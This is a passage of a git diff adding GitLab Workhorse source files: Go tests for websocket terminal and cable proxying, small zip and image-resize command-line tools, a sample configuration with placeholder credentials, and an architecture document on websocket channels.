+ defer cableBackendServer.Close()
+
+ config := newUpstreamWithCableConfig(authBackendServer.URL, cableBackendServer.URL)
+ workhorse := startWorkhorseServerWithConfig(config)
+ defer workhorse.Close()
+
+ cableURL := websocketURL(workhorse.URL, cablePath)
+
+ client, _, err := dialWebsocket(cableURL, nil)
+ require.NoError(t, err)
+ defer client.Close()
+
+ server := (<-cableServerConns).conn
+ defer server.Close()
+
+ require.NoError(t, say(client, "hello"))
+ requireReadMessage(t, server, websocket.TextMessage, "hello")
+
+ require.NoError(t, say(server, "world"))
+ requireReadMessage(t, client, websocket.TextMessage, "world")
+}
+
+func startCableServer() (chan connWithReq, *httptest.Server) {
+ upgrader := &websocket.Upgrader{}
+
+ connCh := make(chan connWithReq, 1)
+ server := testhelper.TestServerWithHandler(regexp.MustCompile(cablePath), webSocketHandler(upgrader, connCh))
+
+ return connCh, server
+}
+
+func newUpstreamWithCableConfig(authBackend string, cableBackend string) *config.Config {
+ var cableBackendURL *url.URL
+
+ if cableBackend != "" {
+ cableBackendURL = helper.URLMustParse(cableBackend)
+ }
+
+ return &config.Config{
+ Version: "123",
+ DocumentRoot: testDocumentRoot,
+ Backend: helper.URLMustParse(authBackend),
+ CableBackend: cableBackendURL,
+ }
+}
diff --git a/workhorse/changelogs/unreleased/.gitkeep b/workhorse/changelogs/unreleased/.gitkeep
new file mode 100644
index 00000000000..e69de29bb2d
--- /dev/null
+++ b/workhorse/changelogs/unreleased/.gitkeep
diff --git a/workhorse/channel_test.go b/workhorse/channel_test.go
new file mode 100644
index 00000000000..cd8957ed829
--- /dev/null
+++ b/workhorse/channel_test.go
@@ -0,0 +1,245 @@
+package main
+
+import (
+ "bytes"
+ "encoding/pem"
+ "fmt"
+ "net"
+ "net/http"
+ "net/http/httptest"
+ "net/url"
+ "path"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/gorilla/websocket"
+ "github.com/stretchr/testify/require"
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+)
+
+var (
+ envTerminalPath = fmt.Sprintf("%s/-/environments/1/terminal.ws", testProject)
+ jobTerminalPath = fmt.Sprintf("%s/-/jobs/1/terminal.ws", testProject)
+ servicesProxyWSPath = fmt.Sprintf("%s/-/jobs/1/proxy.ws", testProject)
+)
+
+type connWithReq struct {
+ conn *websocket.Conn
+ req *http.Request
+}
+
+func TestChannelHappyPath(t *testing.T) {
+ tests := []struct {
+ name string
+ channelPath string
+ }{
+ {"environments", envTerminalPath},
+ {"jobs", jobTerminalPath},
+ {"services", servicesProxyWSPath},
+ }
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ serverConns, clientURL, close := wireupChannel(t, test.channelPath, nil, "channel.k8s.io")
+ defer close()
+
+ client, _, err := dialWebsocket(clientURL, nil, "terminal.gitlab.com")
+ require.NoError(t, err)
+
+ server := (<-serverConns).conn
+ defer server.Close()
+
+ message := "test message"
+
+ // channel.k8s.io: server writes to channel 1, STDOUT
+ require.NoError(t, say(server, "\x01"+message))
+ requireReadMessage(t, client, websocket.BinaryMessage, message)
+
+ require.NoError(t, say(client, message))
+
+ // channel.k8s.io: client writes get put on channel 0, STDIN
+ requireReadMessage(t, server, websocket.BinaryMessage, "\x00"+message)
+
+ // Closing the client should send an EOT signal to the server's STDIN
+ client.Close()
+ requireReadMessage(t, server, websocket.BinaryMessage, "\x00\x04")
+ })
+ }
+}
+
+func TestChannelBadTLS(t *testing.T) {
+ _, clientURL, close := wireupChannel(t, envTerminalPath, badCA, "channel.k8s.io")
+ defer close()
+
+ _, _, err := dialWebsocket(clientURL, nil, "terminal.gitlab.com")
+ require.Equal(t, websocket.ErrBadHandshake, err, "unexpected error %v", err)
+}
+
+func TestChannelSessionTimeout(t *testing.T) {
+ serverConns, clientURL, close := wireupChannel(t, envTerminalPath, timeout, "channel.k8s.io")
+ defer close()
+
+ client, _, err := dialWebsocket(clientURL, nil, "terminal.gitlab.com")
+ require.NoError(t, err)
+
+ sc := <-serverConns
+ defer sc.conn.Close()
+
+ client.SetReadDeadline(time.Now().Add(time.Duration(2) * time.Second))
+ _, _, err = client.ReadMessage()
+
+ require.True(t, websocket.IsCloseError(err, websocket.CloseAbnormalClosure), "Client connection was not closed, got %v", err)
+}
+
+func TestChannelProxyForwardsHeadersFromUpstream(t *testing.T) {
+ hdr := make(http.Header)
+ hdr.Set("Random-Header", "Value")
+ serverConns, clientURL, close := wireupChannel(t, envTerminalPath, setHeader(hdr), "channel.k8s.io")
+ defer close()
+
+ client, _, err := dialWebsocket(clientURL, nil, "terminal.gitlab.com")
+ require.NoError(t, err)
+ defer client.Close()
+
+ sc := <-serverConns
+ defer sc.conn.Close()
+ require.Equal(t, "Value", sc.req.Header.Get("Random-Header"), "Header specified by upstream not sent to remote")
+}
+
+func TestChannelProxyForwardsXForwardedForFromClient(t *testing.T) {
+ serverConns, clientURL, close := wireupChannel(t, envTerminalPath, nil, "channel.k8s.io")
+ defer close()
+
+ hdr := make(http.Header)
+ hdr.Set("X-Forwarded-For", "127.0.0.2")
+ client, _, err := dialWebsocket(clientURL, hdr, "terminal.gitlab.com")
+ require.NoError(t, err)
+ defer client.Close()
+
+ clientIP, _, err := net.SplitHostPort(client.LocalAddr().String())
+ require.NoError(t, err)
+
+ sc := <-serverConns
+ defer sc.conn.Close()
+
+ require.Equal(t, "127.0.0.2, "+clientIP, sc.req.Header.Get("X-Forwarded-For"), "X-Forwarded-For from client not sent to remote")
+}
+
+func wireupChannel(t *testing.T, channelPath string, modifier func(*api.Response), subprotocols ...string) (chan connWithReq, string, func()) {
+ serverConns, remote := startWebsocketServer(subprotocols...)
+ authResponse := channelOkBody(remote, nil, subprotocols...)
+ if modifier != nil {
+ modifier(authResponse)
+ }
+ upstream := testAuthServer(t, nil, nil, 200, authResponse)
+ workhorse := startWorkhorseServer(upstream.URL)
+
+ return serverConns, websocketURL(workhorse.URL, channelPath), func() {
+ workhorse.Close()
+ upstream.Close()
+ remote.Close()
+ }
+}
+
+func startWebsocketServer(subprotocols ...string) (chan connWithReq, *httptest.Server) {
+ upgrader := &websocket.Upgrader{Subprotocols: subprotocols}
+
+ connCh := make(chan connWithReq, 1)
+ server := httptest.NewTLSServer(webSocketHandler(upgrader, connCh))
+
+ return connCh, server
+}
+
+func webSocketHandler(upgrader *websocket.Upgrader, connCh chan connWithReq) http.HandlerFunc {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ logEntry := log.WithFields(log.Fields{
+ "method": r.Method,
+ "url": r.URL,
+ "headers": r.Header,
+ })
+
+ logEntry.Info("WEBSOCKET")
+ conn, err := upgrader.Upgrade(w, r, nil)
+ if err != nil {
+ logEntry.WithError(err).Error("WEBSOCKET Upgrade failed")
+ return
+ }
+ connCh <- connWithReq{conn, r}
+ // The connection has been hijacked so it's OK to end here
+ })
+}
+
+func channelOkBody(remote *httptest.Server, header http.Header, subprotocols ...string) *api.Response {
+ out := &api.Response{
+ Channel: &api.ChannelSettings{
+ Url: websocketURL(remote.URL),
+ Header: header,
+ Subprotocols: subprotocols,
+ MaxSessionTime: 0,
+ },
+ }
+
+ if len(remote.TLS.Certificates) > 0 {
+ data := bytes.NewBuffer(nil)
+ pem.Encode(data, &pem.Block{Type: "CERTIFICATE", Bytes: remote.TLS.Certificates[0].Certificate[0]})
+ out.Channel.CAPem = data.String()
+ }
+
+ return out
+}
+
+func badCA(authResponse *api.Response) {
+ authResponse.Channel.CAPem = "Bad CA"
+}
+
+func timeout(authResponse *api.Response) {
+ authResponse.Channel.MaxSessionTime = 1
+}
+
+func setHeader(hdr http.Header) func(*api.Response) {
+ return func(authResponse *api.Response) {
+ authResponse.Channel.Header = hdr
+ }
+}
+
+func dialWebsocket(url string, header http.Header, subprotocols ...string) (*websocket.Conn, *http.Response, error) {
+ dialer := &websocket.Dialer{
+ Subprotocols: subprotocols,
+ }
+
+ return dialer.Dial(url, header)
+}
+
+func websocketURL(httpURL string, suffix ...string) string {
+ url, err := url.Parse(httpURL)
+ if err != nil {
+ panic(err)
+ }
+
+ switch url.Scheme {
+ case "http":
+ url.Scheme = "ws"
+ case "https":
+ url.Scheme = "wss"
+ default:
+ panic("Unknown scheme: " + url.Scheme)
+ }
+
+ url.Path = path.Join(url.Path, strings.Join(suffix, "/"))
+
+ return url.String()
+}
+
+func say(conn *websocket.Conn, message string) error {
+ return conn.WriteMessage(websocket.TextMessage, []byte(message))
+}
+
+func requireReadMessage(t *testing.T, conn *websocket.Conn, expectedMessageType int, expectedData string) {
+ messageType, data, err := conn.ReadMessage()
+ require.NoError(t, err)
+
+ require.Equal(t, expectedMessageType, messageType, "message type")
+ require.Equal(t, expectedData, string(data), "message data")
+}
diff --git a/workhorse/cmd/gitlab-resize-image/main.go b/workhorse/cmd/gitlab-resize-image/main.go
new file mode 100644
index 00000000000..662efd7306d
--- /dev/null
+++ b/workhorse/cmd/gitlab-resize-image/main.go
@@ -0,0 +1,37 @@
+package main
+
+import (
+ "fmt"
+ "image"
+ "os"
+ "strconv"
+
+ "github.com/disintegration/imaging"
+)
+
+func main() {
+ if err := _main(); err != nil {
+ fmt.Fprintf(os.Stderr, "%s: fatal: %v\n", os.Args[0], err)
+ os.Exit(1)
+ }
+}
+
+func _main() error {
+ widthParam := os.Getenv("GL_RESIZE_IMAGE_WIDTH")
+ requestedWidth, err := strconv.Atoi(widthParam)
+ if err != nil {
+ return fmt.Errorf("GL_RESIZE_IMAGE_WIDTH: %w", err)
+ }
+
+ src, formatName, err := image.Decode(os.Stdin)
+ if err != nil {
+ return fmt.Errorf("decode: %w", err)
+ }
+ imagingFormat, err := imaging.FormatFromExtension(formatName)
+ if err != nil {
+ return fmt.Errorf("find imaging format: %w", err)
+ }
+
+ image := imaging.Resize(src, requestedWidth, 0, imaging.Lanczos)
+ return imaging.Encode(os.Stdout, image, imagingFormat)
+}
diff --git a/workhorse/cmd/gitlab-zip-cat/main.go b/workhorse/cmd/gitlab-zip-cat/main.go
new file mode 100644
index 00000000000..a0778a55ad2
--- /dev/null
+++ b/workhorse/cmd/gitlab-zip-cat/main.go
@@ -0,0 +1,96 @@
+package main
+
+import (
+ "archive/zip"
+ "context"
+ "errors"
+ "flag"
+ "fmt"
+ "io"
+ "os"
+
+ "gitlab.com/gitlab-org/labkit/mask"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/zipartifacts"
+)
+
+const progName = "gitlab-zip-cat"
+
+var Version = "unknown"
+
+var printVersion = flag.Bool("version", false, "Print version and exit")
+
+func main() {
+ flag.Parse()
+
+ version := fmt.Sprintf("%s %s", progName, Version)
+ if *printVersion {
+ fmt.Println(version)
+ os.Exit(0)
+ }
+
+ archivePath := os.Getenv("ARCHIVE_PATH")
+ encodedFileName := os.Getenv("ENCODED_FILE_NAME")
+
+ if len(os.Args) != 1 || archivePath == "" || encodedFileName == "" {
+ fmt.Fprintf(os.Stderr, "Usage: %s\n", progName)
+ fmt.Fprintf(os.Stderr, "Env: ARCHIVE_PATH=https://path.to/archive.zip or /path/to/archive.zip\n")
+ fmt.Fprintf(os.Stderr, "Env: ENCODED_FILE_NAME=base64-encoded-file-name\n")
+ os.Exit(1)
+ }
+
+ scrubbedArchivePath := mask.URL(archivePath)
+
+ fileName, err := zipartifacts.DecodeFileEntry(encodedFileName)
+ if err != nil {
+ fatalError(fmt.Errorf("decode entry %q", encodedFileName), err)
+ }
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ archive, err := zipartifacts.OpenArchive(ctx, archivePath)
+ if err != nil {
+ fatalError(errors.New("open archive"), err)
+ }
+
+ file := findFileInZip(fileName, archive)
+ if file == nil {
+ fatalError(fmt.Errorf("find %q in %q: not found", fileName, scrubbedArchivePath), zipartifacts.ErrorCode[zipartifacts.CodeEntryNotFound])
+ }
+ // Start decompressing the file
+ reader, err := file.Open()
+ if err != nil {
+ fatalError(fmt.Errorf("open %q in %q", fileName, scrubbedArchivePath), err)
+ }
+ defer reader.Close()
+
+ if _, err := fmt.Printf("%d\n", file.UncompressedSize64); err != nil {
+ fatalError(fmt.Errorf("write file size invalid"), err)
+ }
+
+ if _, err := io.Copy(os.Stdout, reader); err != nil {
+ fatalError(fmt.Errorf("write %q from %q to stdout", fileName, scrubbedArchivePath), err)
+ }
+}
+
+func findFileInZip(fileName string, archive *zip.Reader) *zip.File {
+ for _, file := range archive.File {
+ if file.Name == fileName {
+ return file
+ }
+ }
+ return nil
+}
+
+func fatalError(contextErr error, statusErr error) {
+ code := zipartifacts.ExitCodeByError(statusErr)
+
+ fmt.Fprintf(os.Stderr, "%s error: %v - %v, code: %d\n", progName, statusErr, contextErr, code)
+
+ if code > 0 {
+ os.Exit(code)
+ } else {
+ os.Exit(1)
+ }
+}
diff --git a/workhorse/cmd/gitlab-zip-metadata/limit/reader.go b/workhorse/cmd/gitlab-zip-metadata/limit/reader.go
new file mode 100644
index 00000000000..c1e9bd20993
--- /dev/null
+++ b/workhorse/cmd/gitlab-zip-metadata/limit/reader.go
@@ -0,0 +1,52 @@
+package limit
+
+import (
+ "errors"
+ "io"
+ "sync/atomic"
+)
+
+var ErrLimitExceeded = errors.New("reader limit exceeded")
+
+const megabyte = 1 << 20
+
+// LimitedReaderAt supports running a callback in case of reaching a read limit
+// (bytes), and allows using a smaller limit than a defined offset for a read.
+type LimitedReaderAt struct {
+ read int64
+ limit int64
+ parent io.ReaderAt
+ limitFunc func(int64)
+}
+
+func (r *LimitedReaderAt) ReadAt(p []byte, off int64) (int, error) {
+ if max := r.limit - r.read; int64(len(p)) > max {
+ p = p[0:max]
+ }
+
+ n, err := r.parent.ReadAt(p, off)
+ atomic.AddInt64(&r.read, int64(n))
+
+ if r.read >= r.limit {
+ r.limitFunc(r.read)
+
+ return n, ErrLimitExceeded
+ }
+
+ return n, err
+}
+
+func NewLimitedReaderAt(reader io.ReaderAt, limit int64, limitFunc func(int64)) io.ReaderAt {
+ return &LimitedReaderAt{parent: reader, limit: limit, limitFunc: limitFunc}
+}
+
+// SizeToLimit tries to dermine an appropriate limit in bytes for an archive of
+// a given size. If the size is less than 1 gigabyte we always limit a reader
+// to 100 megabytes, otherwise the limit is 10% of a given size.
+func SizeToLimit(size int64) int64 {
+ if size <= 1024*megabyte {
+ return 100 * megabyte
+ }
+
+ return size / 10
+}
diff --git a/workhorse/cmd/gitlab-zip-metadata/limit/reader_test.go b/workhorse/cmd/gitlab-zip-metadata/limit/reader_test.go
new file mode 100644
index 00000000000..57ba8eeb214
--- /dev/null
+++ b/workhorse/cmd/gitlab-zip-metadata/limit/reader_test.go
@@ -0,0 +1,90 @@
+package limit
+
+import (
+ "strings"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+func TestReadAt(t *testing.T) {
+ t.Run("when limit has not been reached", func(t *testing.T) {
+ r := strings.NewReader("some string to read")
+ buf := make([]byte, 11)
+
+ reader := NewLimitedReaderAt(r, 32, func(n int64) {
+ require.Zero(t, n)
+ })
+ p, err := reader.ReadAt(buf, 0)
+
+ require.NoError(t, err)
+ require.Equal(t, 11, p)
+ require.Equal(t, "some string", string(buf))
+ })
+
+ t.Run("when read limit is exceeded", func(t *testing.T) {
+ r := strings.NewReader("some string to read")
+ buf := make([]byte, 11)
+
+ reader := NewLimitedReaderAt(r, 9, func(n int64) {
+ require.Equal(t, 9, int(n))
+ })
+ p, err := reader.ReadAt(buf, 0)
+
+ require.Error(t, err)
+ require.Equal(t, 9, p)
+ require.Equal(t, "some stri\x00\x00", string(buf))
+ })
+
+ t.Run("when offset is higher than a limit", func(t *testing.T) {
+ r := strings.NewReader("some string to read")
+ buf := make([]byte, 4)
+
+ reader := NewLimitedReaderAt(r, 5, func(n int64) {
+ require.Zero(t, n)
+ })
+
+ p, err := reader.ReadAt(buf, 15)
+
+ require.NoError(t, err)
+ require.Equal(t, 4, p)
+ require.Equal(t, "read", string(buf))
+ })
+
+ t.Run("when a read starts at the limit", func(t *testing.T) {
+ r := strings.NewReader("some string to read")
+ buf := make([]byte, 11)
+
+ reader := NewLimitedReaderAt(r, 10, func(n int64) {
+ require.Equal(t, 10, int(n))
+ })
+
+ reader.ReadAt(buf, 0)
+ p, err := reader.ReadAt(buf, 0)
+
+ require.EqualError(t, err, ErrLimitExceeded.Error())
+ require.Equal(t, 0, p)
+ require.Equal(t, "some strin\x00", string(buf))
+ })
+}
+
+func TestSizeToLimit(t *testing.T) {
+ tests := []struct {
+ size int64
+ limit int64
+ name string
+ }{
+ {size: 1, limit: 104857600, name: "1b to 100mb"},
+ {size: 100, limit: 104857600, name: "100b to 100mb"},
+ {size: 104857600, limit: 104857600, name: "100mb to 100mb"},
+ {size: 1073741824, limit: 104857600, name: "1gb to 100mb"},
+ {size: 10737418240, limit: 1073741824, name: "10gb to 1gb"},
+ {size: 53687091200, limit: 5368709120, name: "50gb to 5gb"},
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ require.Equal(t, test.limit, SizeToLimit(test.size))
+ })
+ }
+}
diff --git a/workhorse/cmd/gitlab-zip-metadata/main.go b/workhorse/cmd/gitlab-zip-metadata/main.go
new file mode 100644
index 00000000000..faa85ab5366
--- /dev/null
+++ b/workhorse/cmd/gitlab-zip-metadata/main.go
@@ -0,0 +1,67 @@
+package main
+
+import (
+ "context"
+ "flag"
+ "fmt"
+ "io"
+ "os"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/cmd/gitlab-zip-metadata/limit"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/zipartifacts"
+)
+
+const progName = "gitlab-zip-metadata"
+
+var Version = "unknown"
+
+var printVersion = flag.Bool("version", false, "Print version and exit")
+
+func main() {
+ flag.Parse()
+
+ version := fmt.Sprintf("%s %s", progName, Version)
+ if *printVersion {
+ fmt.Println(version)
+ os.Exit(0)
+ }
+
+ if len(os.Args) != 2 {
+ fmt.Fprintf(os.Stderr, "Usage: %s FILE.ZIP\n", progName)
+ os.Exit(1)
+ }
+
+ readerFunc := func(reader io.ReaderAt, size int64) io.ReaderAt {
+ readLimit := limit.SizeToLimit(size)
+
+ return limit.NewLimitedReaderAt(reader, readLimit, func(read int64) {
+ fmt.Fprintf(os.Stderr, "%s: zip archive limit exceeded after reading %d bytes\n", progName, read)
+
+ fatalError(zipartifacts.ErrorCode[zipartifacts.CodeLimitsReached])
+ })
+ }
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ archive, err := zipartifacts.OpenArchiveWithReaderFunc(ctx, os.Args[1], readerFunc)
+ if err != nil {
+ fatalError(err)
+ }
+
+ if err := zipartifacts.GenerateZipMetadata(os.Stdout, archive); err != nil {
+ fatalError(err)
+ }
+}
+
+func fatalError(err error) {
+ code := zipartifacts.ExitCodeByError(err)
+
+ fmt.Fprintf(os.Stderr, "%s error: %v, code: %d\n", progName, err, code)
+
+ if code > 0 {
+ os.Exit(code)
+ } else {
+ os.Exit(1)
+ }
+}
diff --git a/workhorse/config.toml.example b/workhorse/config.toml.example
new file mode 100644
index 00000000000..78828d3875a
--- /dev/null
+++ b/workhorse/config.toml.example
@@ -0,0 +1,19 @@
+# alt_document_root = '/home/git/public/assets'
+
+[redis]
+URL = "unix:/home/git/gitlab/redis/redis.socket"
+
+[object_storage]
+ provider = "AWS" # Allowed options: AWS, AzureRM
+
+[object_storage.s3]
+ aws_access_key_id = "YOUR AWS ACCESS KEY"
+ aws_secret_access_key = "YOUR AWS SECRET ACCESS KEY"
+
+[object_store.azurerm]
+ azure_storage_account_name = "YOUR ACCOUNT NAME"
+ azure_storage_access_key = "YOUR ACCOUNT KEY"
+
+[image_resizer]
+ max_scaler_procs = 4 # Recommendation: CPUs / 2
+ max_filesize = 250000
diff --git a/workhorse/config_test.go b/workhorse/config_test.go
new file mode 100644
index 00000000000..f9d12bd5e2b
--- /dev/null
+++ b/workhorse/config_test.go
@@ -0,0 +1,157 @@
+package main
+
+import (
+ "flag"
+ "io"
+ "io/ioutil"
+ "net/url"
+ "os"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/queueing"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream"
+)
+
+func TestConfigFile(t *testing.T) {
+ f, err := ioutil.TempFile("", "workhorse-config-test")
+ require.NoError(t, err)
+ defer os.Remove(f.Name())
+
+ data := `
+[redis]
+password = "redis password"
+[object_storage]
+provider = "test provider"
+[image_resizer]
+max_scaler_procs = 123
+`
+ _, err = io.WriteString(f, data)
+ require.NoError(t, err)
+ require.NoError(t, f.Close())
+
+ _, cfg, err := buildConfig("test", []string{"-config", f.Name()})
+ require.NoError(t, err, "build config")
+
+ // These are integration tests: we want to see that each section in the
+ // config file ends up in the config struct. We do not test all the
+ // fields in each section; that should happen in the tests of the
+ // internal/config package.
+ require.Equal(t, "redis password", cfg.Redis.Password)
+ require.Equal(t, "test provider", cfg.ObjectStorageCredentials.Provider)
+ require.Equal(t, uint32(123), cfg.ImageResizerConfig.MaxScalerProcs, "image resizer max_scaler_procs")
+}
+
+func TestConfigErrorHelp(t *testing.T) {
+ for _, f := range []string{"-h", "-help"} {
+ t.Run(f, func(t *testing.T) {
+ _, _, err := buildConfig("test", []string{f})
+ require.Equal(t, alreadyPrintedError{flag.ErrHelp}, err)
+ })
+ }
+}
+
+func TestConfigError(t *testing.T) {
+ for _, arg := range []string{"-foobar", "foobar"} {
+ t.Run(arg, func(t *testing.T) {
+ _, _, err := buildConfig("test", []string{arg})
+
+ require.Error(t, err)
+ require.IsType(t, alreadyPrintedError{}, err)
+ })
+ }
+}
+
+func TestConfigDefaults(t *testing.T) {
+ boot, cfg, err := buildConfig("test", nil)
+ require.NoError(t, err, "build config")
+
+ expectedBoot := &bootConfig{
+ secretPath: "./.gitlab_workhorse_secret",
+ listenAddr: "localhost:8181",
+ listenNetwork: "tcp",
+ logFormat: "text",
+ }
+
+ require.Equal(t, expectedBoot, boot)
+
+ expectedCfg := &config.Config{
+ Backend: upstream.DefaultBackend,
+ CableBackend: upstream.DefaultBackend,
+ Version: "(unknown version)",
+ DocumentRoot: "public",
+ ProxyHeadersTimeout: 5 * time.Minute,
+ APIQueueTimeout: queueing.DefaultTimeout,
+ APICILongPollingDuration: 50 * time.Nanosecond, // TODO this is meant to be 50*time.Second but it has been wrong for ages
+ ImageResizerConfig: config.DefaultImageResizerConfig,
+ }
+
+ require.Equal(t, expectedCfg, cfg)
+}
+
+func TestConfigFlagParsing(t *testing.T) {
+ backendURL, err := url.Parse("http://localhost:1234")
+ require.NoError(t, err)
+ cableURL, err := url.Parse("http://localhost:5678")
+ require.NoError(t, err)
+
+ args := []string{
+ "-version",
+ "-secretPath", "secret path",
+ "-listenAddr", "listen addr",
+ "-listenNetwork", "listen network",
+ "-listenUmask", "123",
+ "-pprofListenAddr", "pprof listen addr",
+ "-prometheusListenAddr", "prometheus listen addr",
+ "-logFile", "log file",
+ "-logFormat", "log format",
+ "-documentRoot", "document root",
+ "-developmentMode",
+ "-authBackend", backendURL.String(),
+ "-authSocket", "auth socket",
+ "-cableBackend", cableURL.String(),
+ "-cableSocket", "cable socket",
+ "-proxyHeadersTimeout", "10m",
+ "-apiLimit", "234",
+ "-apiQueueLimit", "345",
+ "-apiQueueDuration", "123s",
+ "-apiCiLongPollingDuration", "234s",
+ "-propagateCorrelationID",
+ }
+ boot, cfg, err := buildConfig("test", args)
+ require.NoError(t, err, "build config")
+
+ expectedBoot := &bootConfig{
+ secretPath: "secret path",
+ listenAddr: "listen addr",
+ listenNetwork: "listen network",
+ listenUmask: 123,
+ pprofListenAddr: "pprof listen addr",
+ prometheusListenAddr: "prometheus listen addr",
+ logFile: "log file",
+ logFormat: "log format",
+ printVersion: true,
+ }
+ require.Equal(t, expectedBoot, boot)
+
+ expectedCfg := &config.Config{
+ DocumentRoot: "document root",
+ DevelopmentMode: true,
+ Backend: backendURL,
+ Socket: "auth socket",
+ CableBackend: cableURL,
+ CableSocket: "cable socket",
+ Version: "(unknown version)",
+ ProxyHeadersTimeout: 10 * time.Minute,
+ APILimit: 234,
+ APIQueueLimit: 345,
+ APIQueueTimeout: 123 * time.Second,
+ APICILongPollingDuration: 234 * time.Second,
+ PropagateCorrelationID: true,
+ ImageResizerConfig: config.DefaultImageResizerConfig,
+ }
+ require.Equal(t, expectedCfg, cfg)
+}
diff --git a/workhorse/doc/architecture/channel.md b/workhorse/doc/architecture/channel.md
new file mode 100644
index 00000000000..8423405a9cf
--- /dev/null
+++ b/workhorse/doc/architecture/channel.md
@@ -0,0 +1,194 @@
+# Websocket channel support
+
+In some cases, GitLab can provide in-browser terminal access to an
+environment (which is a running server or container, onto which a
+project has been deployed), or even access to services running in CI
+through a WebSocket. Workhorse manages the WebSocket upgrade and
+long-lived connection to the websocket connection, which frees
+up GitLab to process other requests.
+
+This document outlines the architecture of these connections.
+
+## Introduction to WebSockets
+
+A websocket is an "upgraded" HTTP/1.1 request. Their purpose is to
+permit bidirectional communication between a client and a server.
+**Websockets are not HTTP**. Clients can send messages (known as
+frames) to the server at any time, and vice-versa. Client messages
+are not necessarily requests, and server messages are not necessarily
+responses. WebSocket URLs have schemes like `ws://` (unencrypted) or
+`wss://` (TLS-secured).
+
+When requesting an upgrade to WebSocket, the browser sends a HTTP/1.1
+request that looks like this:
+
+```
+GET /path.ws HTTP/1.1
+Connection: upgrade
+Upgrade: websocket
+Sec-WebSocket-Protocol: terminal.gitlab.com
+# More headers, including security measures
+```
+
+At this point, the connection is still HTTP, so this is a request and
+the server can send a normal HTTP response, including `404 Not Found`,
+`500 Internal Server Error`, etc.
+
+If the server decides to permit the upgrade, it will send a HTTP
+`101 Switching Protocols` response. From this point, the connection
+is no longer HTTP. It is a WebSocket and frames, not HTTP requests,
+will flow over it. The connection will persist until the client or
+server closes the connection.
+
+In addition to the subprotocol, individual websocket frames may
+also specify a message type - examples include `BinaryMessage`,
+`TextMessage`, `Ping`, `Pong` or `Close`. Only binary frames can
+contain arbitrary data - other frames are expected to be valid
+UTF-8 strings, in addition to any subprotocol expectations.
+
+## Browser to Workhorse
+
+Using the terminal as an example, GitLab serves a JavaScript terminal
+emulator to the browser on a URL like
+`https://gitlab.com/group/project/-/environments/1/terminal`.
+This opens a websocket connection to, e.g.,
+`wss://gitlab.com/group/project/-/environments/1/terminal.ws`,
+This endpoint doesn't exist in GitLab - only in Workhorse.
+
+When receiving the connection, Workhorse first checks that the
+client is authorized to access the requested terminal. It does
+this by performing a "preauthentication" request to GitLab.
+
+If the client has the appropriate permissions and the terminal
+exists, GitLab responds with a successful response that includes
+details of the terminal that the client should be connected to.
+Otherwise, it returns an appropriate HTTP error response.
+
+Errors are passed back to the client as HTTP responses, but if
+GitLab returns valid terminal details to Workhorse, it will
+connect to the specified terminal, upgrade the browser to a
+WebSocket, and proxy between the two connections for as long
+as the browser's credentials are valid. Workhorse will also
+send regular `PingMessage` control frames to the browser, to
+keep intervening proxies from terminating the connection
+while the browser is present.
+
+The browser must request an upgrade with a specific subprotocol:
+
+### `terminal.gitlab.com`
+
+This subprotocol considers `TextMessage` frames to be invalid.
+Control frames, such as `PingMessage` or `CloseMessage`, have
+their usual meanings.
+
+`BinaryMessage` frames sent from the browser to the server are
+arbitrary text input.
+
+`BinaryMessage` frames sent from the server to the browser are
+arbitrary text output.
+
+These frames are expected to contain ANSI text control codes
+and may be in any encoding.
+
+### `base64.terminal.gitlab.com`
+
+This subprotocol considers `BinaryMessage` frames to be invalid.
+Control frames, such as `PingMessage` or `CloseMessage`, have
+their usual meanings.
+
+`TextMessage` frames sent from the browser to the server are
+base64-encoded arbitrary text input (so the server must
+base64-decode them before inputting them).
+
+`TextMessage` frames sent from the server to the browser are
+base64-encoded arbitrary text output (so the browser must
+base64-decode them before outputting them).
+
+In their base64-encoded form, these frames are expected to
+contain ANSI terminal control codes, and may be in any encoding.
+
+## Workhorse to GitLab
+
+Using again the terminal as an example, before upgrading the browser,
+Workhorse sends a normal HTTP request to GitLab on a URL like
+`https://gitlab.com/group/project/environments/1/terminal.ws/authorize`.
+This returns a JSON response containing details of where the
+terminal can be found, and how to connect it. In particular,
+the following details are returned in case of success:
+
+* WebSocket URL to **connect** to, e.g.: `wss://example.com/terminals/1.ws?tty=1`
+* WebSocket subprotocols to support, e.g.: `["channel.k8s.io"]`
+* Headers to send, e.g.: `Authorization: Token xxyyz..`
+* Certificate authority to verify `wss` connections with (optional)
+
+Workhorse periodically re-checks this endpoint, and if it gets an
+error response, or the details of the terminal change, it will
+terminate the websocket session.
+
+## Workhorse to the WebSocket server
+
+In GitLab, environments or CI jobs may have a deployment service (e.g.,
+`KubernetesService`) associated with them. This service knows
+where the terminals or the service for an environment may be found, and these
+details are returned to Workhorse by GitLab.
+
+These URLs are *also* WebSocket URLs, and GitLab tells Workhorse
+which subprotocols to speak over the connection, along with any
+authentication details required by the remote end.
+
+Before upgrading the browser's connection to a websocket,
+Workhorse opens a HTTP client connection, according to the
+details given to it by Workhorse, and attempts to upgrade
+that connection to a websocket. If it fails, an error
+response is sent to the browser; otherwise, the browser is
+also upgraded.
+
+Workhorse now has two websocket connections, albeit with
+differing subprotocols. It decodes incoming frames from the
+browser, re-encodes them to the the channel's subprotocol, and
+sends them to the channel. Similarly, it decodes incoming
+frames from the channel, re-encodes them to the browser's
+subprotocol, and sends them to the browser.
+
+When either connection closes or enters an error state,
+Workhorse detects the error and closes the other connection,
+terminating the channel session. If the browser is the
+connection that has disconnected, Workhorse will send an ANSI
+`End of Transmission` control code (the `0x04` byte) to the
+channel, encoded according to the appropriate subprotocol.
